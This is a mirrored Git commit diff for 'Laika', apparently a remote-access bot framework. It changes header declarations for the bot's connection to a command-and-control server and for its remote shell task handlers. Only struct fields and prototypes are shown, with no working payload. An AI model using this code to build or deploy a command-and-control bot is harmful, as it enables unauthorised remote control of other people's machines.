mirror of
https://github.com/CPunch/Laika.git
synced 2025-10-01 05:50:05 +00:00
Bot: Only run shell task when shell is open
- since the shell task is only ran when the shell is open, i decreased the delta to 50ms. this should improve latancy while improving performance for 99% of the time. yay!
This commit is contained in:
@@ -13,15 +13,17 @@ struct sLaika_shell;
|
||||
struct sLaika_bot {
|
||||
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
|
||||
struct sLaika_pollList pList;
|
||||
struct sLaika_taskService tService;
|
||||
struct sLaika_peer *peer;
|
||||
struct sLaika_shell *shell;
|
||||
struct sLaika_task *shellTask;
|
||||
};
|
||||
|
||||
struct sLaika_bot *laikaB_newBot(void);
|
||||
void laikaB_freeBot(struct sLaika_bot *bot);
|
||||
|
||||
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port); /* can throw a LAIKA_ERROR */
|
||||
bool laikaB_poll(struct sLaika_bot *bot, int timeout);
|
||||
bool laikaB_poll(struct sLaika_bot *bot);
|
||||
|
||||
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
|
||||
|
||||
|
@@ -3,6 +3,8 @@
|
||||
|
||||
#include <stddef.h>
|
||||
|
||||
#define LAIKA_SHELL_TASK_DELTA 50
|
||||
|
||||
struct sLaika_bot;
|
||||
struct sLaika_shell;
|
||||
|
||||
@@ -18,4 +20,6 @@ void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
|
||||
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
||||
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
||||
|
||||
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
|
||||
|
||||
#endif
|
Reference in New Issue
Block a user